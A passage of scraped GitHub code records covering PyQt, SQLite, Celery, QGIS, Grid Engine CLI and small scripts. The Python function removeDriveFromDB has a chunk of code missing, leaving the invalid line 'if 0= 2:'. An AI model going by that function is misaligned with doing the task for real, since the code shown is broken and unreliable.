self.setLblTextBtn.clicked.connect(self.setText)\n\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n w = BasicQt()\n w.show()\n sys.exit(app.exec_())\n","repo_name":"zanglin02/pycharm","sub_path":"python基础/d06手写数字识别/01 课上代码/f006 widgets.py","file_name":"f006 widgets.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74544647234","text":"import sqlite3\nimport database_string_creater\nimport json\nimport os\n\n# The purpose of this file is to provide functionality to add, remove, and modify entries in a\n# specific user's database of hard drives. Each entry in the database will represent a hard drive.\n# The data in the hard drive entry will represent the following:\n# ~Name of the hard drive\n# ~Number of games on the hard drive (NOT INCLUDING GAME UPDATES)\n# ~Capacity of the hard drive (Otherwise referred to as the totalSize, EX: My hard drive is a 15TB Hard drive (15TB being the totalSize))\n# ~Current size of the hard drive (Referred to as the totalDriveSizeRemaining)\n# ~Size metrics of the hard drive (TB, GB, ETC.)\n# \n# Other table headers may be added in the future. The most imidiate being the total size of all of the games on the hard drive, to make it easier\n# to calculate the amount of space remaining.\n#\n# NOTE: All functions contain an information arg. The following is the bare minimum each information arg is supposed to contain:\n# \n# ALL FUNCTIONS MUST CONTAIN THE AT LEAST THESE VARIABLES IN A LIST IN A JSON STRING:\n# [\n# {\"userLoggedIn\":\"boolean_value\", \"UserAccess\":\"access_level\"},\n# {\"name\":\"drive_name\"},\n# ['username','password','email','dir_to_drive_database','dir_to_game_database', int(acclev), int(randid)],\n# int(randID_sentByBrowser)\n# ]\n# NOTE: THE addNewDriveToDB(information) is the only function that requires more information:\n# [\n# {\"userLoggedIn\":\"boolean_value\", \"UserAccess\":\"access_level\"},\n# {\"name\":\"drive_name\", \"numberOfGames\":int(), \"totalDriveSize\":int(), \"driveSizeType\":\"str()\", \"totalDriveSizeRemaining\":\"int()\"},\n# ['username','password','email','dir_to_drive_database','dir_to_game_database', int(acclev), int(randid)],\n# int(randID_sentByBrowser)\n# ]\n\ntableName = \"DriveList\"\ndriveTableHeaders = ['name', 'numberOfGames', 'totalDriveSize', 'driveSizeType', 'totalDriveSizeRemaining']\ngameTableHeaders = ['name', 'gameName', 'gameSize', 'sizeMetric', 'gameTags', 'dateAdded', 'playTime']\n\n# helper function for all other functions. Expects the same argument information that is given to the function that this function helps.\n# Will verify that the user requesting to modify the drive database is actually that user, and that\n# said user is acutally logged in.\n# \n# A positive return value (errorcode: 0, desc: true) requires the following criteria:\n# ~The userLoggedIn variable is set to true and if the user's random id matches what the browser sends as the user's random id\n# ~The userAccess variable is set to either basic, advanced, or root.\n# A negative return value (errorcode: -1, desc: *insert description here*) is sent if the above criteria are not met.\ndef userVerification(information):\n userInfo = json.loads(information[0])\n if userInfo[\"userLoggedIn\"] == True and information[2][6] in information:\n if userInfo[\"UserAccess\"] == \"Basic\" or userInfo[\"UserAccess\"] == \"Advanced\" or userInfo[\"UserAccess\"] == \"ROOT\":\n return json.dumps({\"errorcode\":0, \"desc\":None})\n else:\n return json.dumps({\"errorcode\":-1, \"desc\":\"User does not have authority to make changes to this db\"})\n else:\n return json.dumps({\"errorcode\":-1,\"desc\":\"User does not appear to be logged in\"})\n\n\n# helper function for all other functions. Expects the information that is given to said function. The only purpose of\n# this function is to return a connection and cursor to a database specified in the arguments. The only databases that\n# should be connected to in this program are in the /Database Files/userDriveInfo/ directory.\ndef createDatabaseConnections(information, locationX, locationY):\n connection = sqlite3.connect(information[locationX][locationY]) #2, 3\n curs = connection.cursor()\n return [connection, curs]\n\n\n\n# function that will add hard drive information to a user's DriveInfo database. It has the following dependancies:\n# ~userVerification(information) - For verifying that a user can access the specified database\n# ~createDatabaseConnections(information) - For creating a connection to the database given in the args\ndef addNewDriveToDatabase(information):\n verified = json.loads(userVerification(information))\n \n if int(verified[\"errorcode\"]) == 0:\n \n driveDatabaseInformation = createDatabaseConnections(information, 2, 3)\n gameDatabaseInformation = createDatabaseConnections(information, 2, 4)\n \n valuesOfDrive = json.loads(information[1])\n valuesOfDrive = list(valuesOfDrive.values())\n \n matchingDrivesAmount = len(list(driveDatabaseInformation[1].execute(\"\"\"SELECT * FROM \"\"\" + tableName + \" WHERE name = ? AND totalDriveSize = ? AND driveSizeType = ?\", (valuesOfDrive[0], valuesOfDrive[2], valuesOfDrive[3]))))\n \n if matchingDrivesAmount<1:\n driveDatabaseInformation[1].execute(database_string_creater.insert_into_table(tableName, driveTableHeaders), (valuesOfDrive[0], int(valuesOfDrive[1]), int(valuesOfDrive[2]), valuesOfDrive[3], int(valuesOfDrive[4])))\n gameDatabaseInformation[1].execute(database_string_creater.create_table(tableName, gameTableHeaders))\n \n driveDatabaseInformation[0].commit()\n \n driveDatabaseInformation[0].close()\n else: \n \n return json.dumps({\"errorcode\":-1,\"desc\":\"Duplicate detected. To ignore, run with flag --ignore-duplicate\"})\n \n driveDatabaseInformation[0].close()\n else:\n \n return json.dumps(verified)\n\n\n# function that will remove hard drive information from a user's DriveInfo database. It has the following dependancies:\n# ~userVerification(information) - For verifying that a user can access the specified database\n# ~createDatabaseConnections(information) - For creating a connection to the database given in the args\n# TODO: NEED TO DELETE TABLE THAT CONTAINS DRIVE NAME\ndef removeDriveFromDB(information):\n verified = json.loads(userVerification(information))\n if int(verified[\"errorcode\"]) == 0:\n driveToRemove = json.loads(information[1])[\"name\"]\n databaseInformation = createDatabaseConnections(information, 2, 3)\n #note for the future:\n #This command will get the table names in a database. It's needed because a check needs to see if the table exists before any action is performed\n tablesInDB = list(databaseInformation[1].execute(\"\"\"SELECT name FROM 'sqlite_master' WHERE type='table'\"\"\").fetchall()[0])\n if 0= 2:\n return json.dumps({\"errorcode\":-1,\"desc\":\"The database has a duplicate tables\"})\n databaseInformation[0].close()\n else:\n json.dumps(verified)\n return json.dumps({\"message\":\"Removal of drive was successful\"})\n\n\n# function that will retrieve all of the hard drives in the database that match a given criteria specified by the args. It has the following dependancies:\n# ~userVerification(information) - For verifying that a user can access the specified database\n# ~createDatabaseConnections(information) - For creating a connection to the database given in the args\ndef retrieveDriveFromDB(information):\n verified = json.loads(userVerification(information))\n if int(verified[\"errorcode\"]) == 0:\n databaseInformation = createDatabaseConnections(information, 2, 3)\n driveToRetrieve = json.loads(information[1])[\"name\"]\n tablesInDB = list(databaseInformation[1].execute(\"\"\"SELECT name FROM 'sqlite_master' WHERE type='table'\"\"\").fetchall()[0]) \n if len(tablesInDB)<2 and len(tablesInDB) >0:\n allMatchingDrivesInDB = databaseInformation[1].execute(\"\"\"SELECT * FROM \"\"\" + tableName + \"\"\" WHERE name = ?\"\"\", (driveToRetrieve,)).fetchall() \n if len(allMatchingDrivesInDB) > 0:\n propsOfDrive = list(allMatchingDrivesInDB[0])\n return json.dumps({\"name\":propsOfDrive[0], \"numberOfGames\":propsOfDrive[1], \"totalDriveSizeRemaining\":propsOfDrive[2], \"driveSizeType\":propsOfDrive[3], \"combinedSpaceUsedOnDrive\":propsOfDrive[4]})\n else:\n return json.dumps({\"errorcode\":-1,\"desc\":\"The database does not contain the drive \" + driveToRetrieve})\n elif len(tablesInDB) == 0:\n return json.dumps({\"errorcode\":\"-1\",\"desc\":\"The database for the hard drives doesn\\'t exist.\"})\n elif len(tablesInDB) >= 2:\n return json.dumps({\"errorcode\":\"-1\",\"desc\":\"The database has a duplicate tables\"})\n databaseInformation[0].close()\n else:\n return json.dumps(verified)","repo_name":"goldeneye5671/Game-Tracker-Ultimate","sub_path":"Depreciated FIles/user_drive_database.py","file_name":"user_drive_database.py","file_ext":"py","file_size_in_byte":9465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33628334499","text":"#!/usr/bin/python3\nfrom logscribe.changelog import Changelog\nfrom logscribe.filelist import FileList\nfrom logscribe.fileio import read_yaml_file\nfrom logscribe.mergedbranch import MergedBranch\nfrom logscribe.vcmp import compare_versions\n\n\n#\n# f u n c t i o n s\n#\nclass Yaml2Changelog:\n def __init__(self, conf):\n title = self._guess_title_from(conf[\"milestone\"])\n self.changelog = Changelog(title)\n self.conf = conf\n\n def read_in_changes(self):\n self._process_yaml_files(self.conf[\"YAML_PATH\"])\n milestone = self.conf['milestone']\n self.changelog.set_milestone_to_release(milestone)\n self.changelog.only_report_on(milestone)\n\n def to_markdown(self):\n return self.changelog.to_markdown()\n\n def count(self):\n return self.changelog.issue_count()\n\n def _guess_title_from(self, version):\n if compare_versions(version, \"4.0.0\") < 0:\n return \"VECAP\"\n else:\n return \"VMASS\"\n\n def _process_yaml_files(self, yaml_path):\n files = self._list_input_files(yaml_path)\n for _file in files:\n entry = read_yaml_file(yaml_path + \"/\" + _file)\n if entry:\n self.changelog.append(entry)\n\n def _list_input_files(self, search_path):\n file_list = FileList(search_path)\n file_list.keep_files(\"change-\")\n\n merge_order = self._build_merge_order()\n file_list.sort_by(merge_order)\n return file_list.array()\n\n def _build_merge_order(self):\n merged = MergedBranch()\n merged.set_changelog(self.conf[\"CHANGELOG\"])\n return merged.issues()\n","repo_name":"glenmarton/logscribe","sub_path":"logscribe/yaml2changelog.py","file_name":"yaml2changelog.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17236267986","text":"import argparse\nimport logging\nimport pathlib\nimport random\nimport socket\nimport sys\nfrom time import time\n\nfrom celery.concurrency import ALIASES as CELERY_POOL_ALIASES\nfrom celery.signals import task_prerun, task_postrun\nfrom dependency_injector.wiring import Provide\nfrom prometheus_client import start_http_server\n\nfrom SteamRoulette.admin.app import create_admin_app\nfrom SteamRoulette.application import create_raw_app\nfrom SteamRoulette.config import TrafaretValueAction, config_trafaret, load_config\nfrom SteamRoulette.containers import AppContainer\nfrom SteamRoulette.service.celery_task_manager import CeleryTaskManager\nfrom SteamRoulette.service.taskqueue import Queues, init_celery, DummyScheduler\nfrom SteamRoulette.tasks.containers import CeleryContainer\nfrom SteamRoulette.tasks.prometheus_setup import attach_prometheus_metrics_to_celery, start_queues_size_collector\n\nlog = logging.getLogger(__name__)\n\n\ndef make_parser(root_dir=None, default_config='config.yaml'):\n if not root_dir:\n root_dir = pathlib.Path(__file__)\n root_dir = root_dir.parent.parent.parent\n\n ap = argparse.ArgumentParser(fromfile_prefix_chars='@')\n ap.add_argument('-c', '--config', type=pathlib.Path, metavar='PATH',\n default=root_dir / 'config' / default_config,\n help=\"Path to config file (default: `%(default)s`)\")\n ap.add_argument('-s', '--secrets', type=pathlib.Path, metavar='PATH',\n default=None, help=\"Path to file with secrets\")\n ap.add_argument('-D', dest=\"config_defaults\", metavar=\"VARNAME=VALUE\",\n action=TrafaretValueAction, trafaret=config_trafaret,\n help=\"Config overrides\")\n\n ap.add_argument('--queues',\n default='celery',\n help=\"Celery queues to process (default: `%(default)s`)\")\n ap.add_argument('--pool',\n default='solo',\n choices=CELERY_POOL_ALIASES,\n help=\"Celery pool class (default: `%(default)s`)\")\n ap.add_argument('--concurrency', default=None, type=int,\n help=\"Concurrency level\")\n ap.add_argument('--purge', default=False, action='store_true',\n help=\"???\")\n ap.add_argument('--schedule-last-run', type=pathlib.Path, metavar='PATH',\n default=root_dir / 'celerybeat-schedule',\n help=\"Path to celerybeat schedule database\"\n \" (default: `%(default)s`)\")\n ap.add_argument('--beat', default=False, action='store_true',\n help=\"Enable Celery Beat (default: `%(default)s`)\")\n return ap\n\n\ndef log_execution_time():\n times = {}\n\n @task_prerun.connect(weak=False)\n def task_prerun_handler(signal, sender, task_id, task, *args, **kwargs):\n times[task_id] = time()\n\n @task_postrun.connect(weak=False)\n def task_postrun_handler(signal, sender, task_id, task, *args, **kwargs):\n start = times.pop(task_id, None)\n if start is not None:\n # Task name is logged implicitly.\n log.info('celery_postrun',\n extra=dict(celery_duration=int((time() - start) * 1000)))\n\n\ndef _drop_task(signal, sender, task_id, task, celery_task_manage: CeleryTaskManager = Provide[AppContainer.celery_task_manager], *args, **kwargs):\n if celery_task_manage.need_drop_task(task_name=task.name):\n raise Exception(f\"TASK: {task.name} in stop list\")\n\n\ndef set_celery_task_manage():\n _drop_task_ = None\n\n @task_prerun.connect(weak=False)\n def maybe_drop_task(signal, sender, task_id, task, *args, **kwargs):\n nonlocal _drop_task_\n if _drop_task_ is None:\n from SteamRoulette.tasks.__main__ import _drop_task\n _drop_task_ = _drop_task\n\n _drop_task_(signal, sender, task_id, task, *args, **kwargs)\n\n\ndef main(args=None, *, run=True):\n ap = make_parser()\n options, _ = ap.parse_known_args()\n\n log_execution_time()\n\n log.debug('Using config: %s', options.config.resolve())\n config = load_config(\n options.config,\n options.secrets,\n options.config_defaults\n )\n\n try:\n start_http_server(9100)\n except Exception as e:\n log.error(f'Prometheus client celery error, {e}')\n\n attach_prometheus_metrics_to_celery()\n\n\n # XXX: celery depends on flask\n # app = create_raw_app(config)\n app = create_admin_app(config)\n hostname = '{type}{id}@{host}'.format(\n type=(options.beat and 'beat' or 'worker'),\n id=random.randint(1, 1000),\n host=socket.gethostname())\n celery_app = init_celery(config)\n\n container = AppContainer()\n celery_container = CeleryContainer()\n container.config.from_dict(config)\n celery_container.config.from_dict(config)\n modules = [m for m in sys.modules.values() if 'SteamRoulette' in m.__name__ and hasattr(m, '__path__')]\n container.wire(packages=modules)\n celery_container.wire(packages=modules)\n container.init_resources()\n celery_container.init_resources()\n\n set_celery_task_manage()\n\n if options.beat:\n beat = celery_app.Beat(\n scheduler_cls=DummyScheduler,\n )\n start_queues_size_collector(queues=Queues.get_queues(), celery_app=celery_app)\n beat.run()\n else:\n worker = celery_app.Worker(\n queues=options.queues,\n pool_cls=options.pool,\n concurrency=options.concurrency,\n purge=options.purge,\n optimization='fair',\n hostname=hostname,\n )\n with app.app_context():\n worker.start()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Josephlouislg/SteamRoulette","sub_path":"SteamRoulette/tasks/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74571768833","text":"from __future__ import print_function\nimport abc\nimport logging\nimport os\nimport sys\nfrom optparse import OptionGroup\nfrom optparse import OptionParser\n\nfrom uge.config.config_manager import ConfigManager\nfrom uge.exceptions.invalid_argument import InvalidArgument\nfrom uge.exceptions.qconf_exception import QconfException\nfrom uge.log.log_manager import LogManager\n# compatible with Python 2 *and* 3:\nABC = abc.ABCMeta('ABC', (object,), {'__slots__': ()})\n\nclass QconfCli(ABC):\n \"\"\" Base qconf command line interface class. \"\"\"\n\n def __init__(self, valid_arg_count=0):\n \"\"\" \n Class constructor.\n\n :param valid_arg_count: Number of allowed positional arguments (default: 0).\n :type valid_arg_count: int\n \"\"\"\n self.logger = LogManager.get_instance().get_logger(self.__class__.__name__)\n self.parser = OptionParser(add_help_option=False)\n self.options = {}\n self.args = []\n self.valid_arg_count = valid_arg_count\n self.option_group_dict = {}\n\n common_group = 'Common Options'\n self.add_option_group(common_group, None)\n\n self.add_option_to_group(common_group, '-h', '--help', action='help', help='Show this help message and exit.')\n self.add_option_to_group(common_group, '-?', '', action='help', help='Show this help message and exit.')\n\n self.add_option_to_group(common_group, '-v', '', action='store_true', dest='cmd_version', default=False,\n help='Print version and exit.')\n\n self.add_option_to_group(common_group, '-d', '--debug', dest='console_log_level',\n help='Set debug level; valid values are: critical, error, warning, info, debug')\n\n def add_option(self, *args, **kwargs):\n \"\"\" \n Add CLI option. \n \"\"\"\n self.parser.add_option(*args, **kwargs)\n\n def add_option_to_group(self, group_name, *args, **kwargs):\n \"\"\"\n Add option to the given group.\n Group should be created using add_option_group().\n\n :param group_name: Group name.\n :type group_name: str\n \"\"\"\n group = self.option_group_dict.get(group_name)\n group.add_option(*args, **kwargs)\n\n def add_option_group(self, group_name, desc):\n \"\"\" \n Add option group. \n\n :param group_name: Group name.\n :type group_name: str\n \"\"\"\n group = OptionGroup(self.parser, group_name, desc)\n self.parser.add_option_group(group)\n self.option_group_dict[group_name] = group\n\n def parse_args(self, usage=None):\n \"\"\" \n Parse command arguments. \n\n :param usage: Command usage.\n :type usage: str\n \"\"\"\n if usage:\n self.parser.usage = usage\n\n try:\n (self.options, self.args) = self.parser.parse_args()\n except SystemExit as rc:\n sys.stdout.flush()\n sys.stderr.flush()\n os._exit(int(str(rc)))\n\n if self.valid_arg_count < len(self.args):\n # Postitional args are not enabled and we have some\n msg = \"Invalid Argument(s):\"\n for arg in self.args[self.valid_arg_count:]:\n msg += \" \" + arg\n raise InvalidArgument(msg)\n\n opt_dict = self.options.__dict__\n if opt_dict.get('cmd_version'):\n print('%s version: %s' % (os.path.basename(sys.argv[0]), ConfigManager.get_instance().get_version()))\n os._exit(0)\n\n # Log level.\n console_log_level = opt_dict.get('console_log_level', None)\n if console_log_level:\n LogManager.get_instance().set_console_log_level(console_log_level)\n\n # Check input arguments.\n self.check_input_args()\n return (self.options, self.args)\n\n def usage(self, s=None):\n \"\"\" Print the help provided by optparse. \"\"\"\n\n if s: print('Error:', s, '\\n', file=sys.stderr)\n self.parser.print_help()\n os._exit(1)\n\n def get_options(self):\n \"\"\" Returns the command line options. \"\"\"\n return self.options\n\n def get_n_args(self):\n \"\"\" Returns the number of command line arguments. \"\"\"\n return len(self.args)\n\n def get_args(self):\n \"\"\" Returns the command line argument list. \"\"\"\n return self.args\n\n def get_arg(self, i):\n \"\"\" Returns the i-th command line argument. \"\"\"\n return self.args[i]\n\n @abc.abstractmethod\n def run_command(self):\n \"\"\" This method must be implemented by the derived class. \"\"\"\n pass\n\n def check_input_args(self):\n \"\"\" \n This method should verify required arguments in the derived class.\n \"\"\"\n pass\n\n def run(self):\n \"\"\"\n Run command. This method simply invokes run_command() and handles\n any exceptions.\n \"\"\"\n try:\n self.run_command()\n except QconfException as ex:\n if self.logger.level < logging.INFO:\n self.logger.exception('%s' % ex)\n print('%s' % ex.get_error_message())\n raise SystemExit(ex.get_error_code())\n except SystemExit as ex:\n raise\n except Exception as ex:\n self.logger.exception('%s' % ex)\n print('%s' % ex)\n raise SystemExit(-1)\n\n\n#############################################################################\n# Testing.\nif __name__ == '__main__':\n cli = QconfCli()\n cli.add_option(\"-f\", \"--file\", dest=\"filename\",\n help=\"write report to FILE\", metavar=\"FILE\")\n cli.add_option(\"-q\", \"--quiet\",\n action=\"store_false\", dest=\"verbose\", default=True,\n help=\"don't print status messages to stdout\")\n (options, args) = cli.parse_args()\n print('OPTIONS: ', options)\n print('ARGS: ', args)\n\n print('OPTIONS: ', cli.get_options())\n print('ARGS: ', cli.get_args())\n print('options.filename', options.filename)\n print('cli.getOptions().filename', cli.get_options().filename)\n o = cli.get_options()\n print('o.filename', o.filename)\n\n print('cli.get_args()', cli.get_args())\n print('len(cli.get_args())', len(cli.get_args()))\n\n for a in cli.get_args():\n print('arg', a)\n\n first_arg = cli.get_arg(0)\n print('first_arg', first_arg)\n\n second_arg = cli.get_arg(1)\n print('second_arg', second_arg)\n\n try:\n third_arg = cli.get_arg(2)\n print('third_arg', third_arg)\n except:\n print('no third arg')\n","repo_name":"gridengine/config-api","sub_path":"uge/cli/qconf_cli.py","file_name":"qconf_cli.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"38231465189","text":"import logging\nfrom typing import Any, Dict\n\nfrom qgis.core import QgsCoordinateReferenceSystem, QgsMapLayerProxyModel\nfrom qgis.gui import QgsFileWidget, QgsProjectionSelectionWidget\nfrom qgis.PyQt.QtWidgets import QDialog\n\nfrom ..core.infrastructure_model import InfrastructureSuitability\nfrom ..definitions.gui import Panels\nfrom ..qgis_plugin_tools.tools.resources import plugin_name\nfrom .base_panel import BasePanel\n\nLOGGER = logging.getLogger(plugin_name())\n\n\n# class MetricCrsOnlyProjectionSelectionWidget(QgsProjectionSelectionWidget):\n# def selectCrs(self): # noqa\n# dialog = QgsProjectionSelectionDialog(self)\n# dialog.setOgcWmsCrsFilter(self._metric_crs_list)\n# if dialog.exec():\n# self.setValue(dialog.crs().authid())\n\n# @property\n# def _metric_crs_list(self):\n# return [\"EPSG:3857\", ]\n\n\nclass InfrastructurePanel(BasePanel):\n def __init__(self, dialog: QDialog) -> None:\n super().__init__(dialog)\n self.algorithm = InfrastructureSuitability()\n self.panel = Panels.Infrastructure\n self.name = \"infra\"\n\n def setup_panel(self) -> None:\n super().setup_panel()\n self.dlg.infra_map_layer_cmb_bx_boundaries.setFilters(\n QgsMapLayerProxyModel.PolygonLayer\n )\n self.dlg.infra_map_layer_cmb_bx_schools.setFilters(\n QgsMapLayerProxyModel.PointLayer\n )\n self.dlg.infra_map_layer_cmb_bx_pop_dens.setFilters(\n QgsMapLayerProxyModel.RasterLayer\n )\n self.dlg.infra_map_layer_cmb_bx_boundaries.setShowCrs(True)\n self.dlg.infra_map_layer_cmb_bx_schools.setShowCrs(True)\n self.dlg.infra_map_layer_cmb_bx_pop_dens.setShowCrs(True)\n self.dlg.infra_crs_widget.setShowAccuracyWarnings(True)\n self.dlg.infra_crs_widget.setOptionVisible(\n QgsProjectionSelectionWidget.CrsOption.LayerCrs, visible=True\n )\n # would require a whole custom dialog to filter the crs choices :(\n # self.dlg.infra_crs_widget.dialog.setOgcWmsCrsFilter(self._metric_crs_list)\n # Use default 3857 until the user selects a better one\n # (~1 meter around the equator)\n self.dlg.infra_crs_widget.setCrs(QgsCoordinateReferenceSystem(\"EPSG:3857\"))\n\n self.dlg.infra_dbl_spn_bx_min_dist.setMinimum(0)\n self.dlg.infra_dbl_spn_bx_min_dist.setMaximum(100)\n self.dlg.infra_dbl_spn_bx_min_dist.setClearValue(0.05)\n self.dlg.infra_dbl_spn_bx_min_dist.clear()\n self.dlg.infra_dbl_spn_bx_max_dist.setMinimum(0)\n self.dlg.infra_dbl_spn_bx_max_dist.setMaximum(10)\n self.dlg.infra_dbl_spn_bx_max_dist.setClearValue(1.5)\n self.dlg.infra_dbl_spn_bx_max_dist.clear()\n self.dlg.infra_dbl_spn_bx_pop_weight.setMinimum(0)\n self.dlg.infra_dbl_spn_bx_pop_weight.setMaximum(100)\n self.dlg.infra_dbl_spn_bx_pop_weight.setClearValue(40)\n self.dlg.infra_dbl_spn_bx_pop_weight.clear()\n self.dlg.infra_spinbox_pop_threshold.setMinimum(0)\n self.dlg.infra_spinbox_pop_threshold.setMaximum(1000)\n self.dlg.infra_spinbox_pop_threshold.setClearValue(100)\n self.dlg.infra_spinbox_pop_threshold.clear()\n self.dlg.infra_dbl_spn_bx_school_weight.setMinimum(0)\n self.dlg.infra_dbl_spn_bx_school_weight.setMaximum(100)\n self.dlg.infra_dbl_spn_bx_school_weight.setClearValue(60)\n self.dlg.infra_dbl_spn_bx_school_weight.clear()\n self.dlg.infra_dbl_spn_bx_pop_weight.valueChanged.connect(\n lambda value: self.dlg.infra_dbl_spn_bx_school_weight.setValue(100 - value)\n )\n self.dlg.infra_dbl_spn_bx_school_weight.valueChanged.connect(\n lambda value: self.dlg.infra_dbl_spn_bx_pop_weight.setValue(100 - value)\n )\n\n self.dlg.infra_file_wdgt_save_output.setStorageMode(QgsFileWidget.SaveFile)\n self.dlg.infra_file_wdgt_save_output.fileChanged.connect(\n lambda: self._set_file_extension(\n self.dlg.infra_file_wdgt_save_output, \".tif\"\n )\n )\n\n def _get_params(self) -> dict:\n params: Dict[str, Any] = {}\n params[\"Studyarea\"] = self.dlg.infra_map_layer_cmb_bx_boundaries.currentLayer()\n params[\"Schools\"] = self.dlg.infra_map_layer_cmb_bx_schools.currentLayer()\n # params[\n # \"Identifyingschoolvariable\"\n # ] = self.dlg.infra_fld_cmb_bx_school_var.currentField()\n params[\n \"PopulationDensity\"\n ] = self.dlg.infra_map_layer_cmb_bx_pop_dens.currentLayer()\n params[\"MaxDistancefromExistingSchools\"] = (\n self.dlg.infra_dbl_spn_bx_max_dist.value() * 1000\n )\n params[\"Minimumsuitabledistancetoanotherschool\"] = (\n self.dlg.infra_dbl_spn_bx_min_dist.value() * 1000\n )\n params[\"PopulationThreshold\"] = self.dlg.infra_spinbox_pop_threshold.value()\n params[\"Newschoolsshouldideallybelocatedinsparselypopulatedareas\"] = (\n self.dlg.infra_ideal_location_combo_box.currentIndex() != 0\n )\n params[\n \"Newschoolsshouldbelocatedfurtherfromexistingschoolsratherthanclosetothem\"\n ] = (self.dlg.infra_location_combo_box.currentIndex() == 0)\n params[\"ProjectedReferenceSystem\"] = self.dlg.infra_crs_widget.crs()\n params[\"SchoolWeight\"] = self.dlg.infra_dbl_spn_bx_school_weight.value() / 100\n params[\"PopWeight\"] = self.dlg.infra_dbl_spn_bx_pop_weight.value() / 100\n params[\n \"InfrastructureSuitability\"\n ] = self.dlg.infra_file_wdgt_save_output.filePath()\n LOGGER.info(params)\n return params\n","repo_name":"GispoCoding/mcda-plugin","sub_path":"mcda/ui/infrastructure_panel.py","file_name":"infrastructure_panel.py","file_ext":"py","file_size_in_byte":5630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33713650603","text":"#! /usr/bin/env python\n# encoding: utf-8\n\n# global params\npbsim_path = '/home/suzukihajime/src/pbsim-1.0.3/src/'\nref_path = '/home/suzukihajime/oni/work/resource/NC_000913.fna'\nref_length = 4700000\nbin_path = '/home/suzukihajime/src/rognes/bin'\ncount = 1000\nhist_size = 100\n\n# general evaluation\nlengths = [100, 200, 500, 1000, 2000, 5000, 10000]\nerror_rates = [0.60, 0.65, 0.70, 0.75, 0.80, 0.85, 0.90, 0.95]\nbandwidths = [8, 16, 24, 32, 40, 48, 56, 64]\nxs = [-i for i in range(2, 9)]\t\t# -1..-4\ngs = [-i for i in range(2, 13)]\t\t# -1..-6\nparams_list = [gs, xs, bandwidths, error_rates, lengths]\n\n# for debugging\n# lengths = [100, 500]\n# error_rates = [0.7, 0.8]\n# bandwidths = [32]\n# xs = [-i for i in range(2, 5)]\n# gs = [-i for i in range(3, 5)]\n# params_list = [gs, xs, bandwidths, error_rates, lengths]\n\n# gap-length evaluation\nref_gaps = [i for i in range(0, 150, 1)]\nread_gaps = [0]\nbandwidths_gap = bandwidths # [8, 16, 24, 32, 40, 48, 56, 64]\n# params_list_gap = [ref_gaps, read_gaps, bandwidths_gap, error_rates, [1000, 10000]]\nparams_list_gap = [ref_gaps, [0], bandwidths_gap, [0.75], [1000]]\n\n# gi-ge evaluation\ngis = [-i for i in range(0, 6)]\nges = [-i for i in range(0, 6)]\nparams_list_gige = [gis, ges, [32], [0.75], [1000]]\n\n\n","repo_name":"ocxtal/adaptivebandbench","sub_path":"scripts/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"6377582652","text":"\nmy_str = \"hi hello how are you sai why do you think you are great\"\nnew_atring = my_str.split(\" \")\ncap_string = []\nfor word in new_atring:\n print(word)\n x = word.capitalize()\n cap_string.append(x)\ny = \" \".join(cap_string)\nprint(y)\n","repo_name":"rathodsa/data_science","sub_path":"my_scripts/swap_case.py","file_name":"swap_case.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41000825574","text":"from forward import linear_activation_forward\n\n\ndef inference(X, Y, parameters, sigma_int, k_shift, extra_bits, decimal_bits, precision):\n number_of_samples = X.shape[1]\n correct = 0\n incorrect = 0\n\n for i in range(number_of_samples):\n Xi = (X[:, i]).reshape(-1, 1)\n\n A1, cache1 = linear_activation_forward(Xi, parameters['W1'], parameters['b1'], activation='relu',\n k=k_shift, precision=precision)\n\n A2, cache2 = linear_activation_forward(A1, parameters['W2'], parameters['b2'], activation='relu',\n k=k_shift, precision=precision)\n\n AL, cache3 = linear_activation_forward(A2, parameters['W3'], parameters['b3'], activation='sigmoid',\n k=k_shift, table=sigma_int, extra_bits=extra_bits,\n sigmoid_decimal_bits=decimal_bits, precision=precision)\n\n predicted = [2**decimal_bits if (AL[0] > (2**decimal_bits)/ 2) == True else 0]\n\n if predicted[0] == Y[:, i][0]:\n correct = correct + 1\n else:\n incorrect = incorrect + 1\n\n accuracy = correct / number_of_samples\n\n return correct, incorrect, accuracy, AL\n","repo_name":"mriosrivas/NeuralNetwork","sub_path":"Presentation/NeuralNetwork/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"43106829261","text":"'''\ngraph is made of nodes (vertices) connected by edges\n\nedge connecting v and w, denoted by v,w or w,v\n\ndegree of a node is how many edges connect to it\n\nadjacency list can be used to represent nodes\neach row contains two node labels corresponding to a\nunique edge\n\ndirected graph has directed edges (edge has orientation)\ndepicted by arrows. tail v and head w represented by\n(v,w) but not (w,v)\n\ndirected loop is when head and tail are the same (v,v)\n\n\nFor a collection of strings and positive integer k,\noverlap graph is O(k). Each string represents a node.\nEach string (s) is connected to another string (t)\nif in the (s), there is a length k suffix that matches\na length k prefix in (t).\n\nIf s != t for any string, demand no directed loops\nin overlap graph\n\nGiven: A collection of DNA strings in FASTA format\nhaving total length at most 10 kbp.\n\nReturn: The adjacency list corresponding to O(3).\nYou may return edges in any order.\n'''\n\nimport os\nimport re\ncurrent_dir = os.path.abspath('')\nfor root, dirs, files in os.walk(current_dir):\n for name in files:\n if name == 'rosalind_grph.txt':\n file_dir = os.path.join(root, name)\nwith open(file_dir, 'r') as file:\n FASTA_strings = file.read()\nmatches = 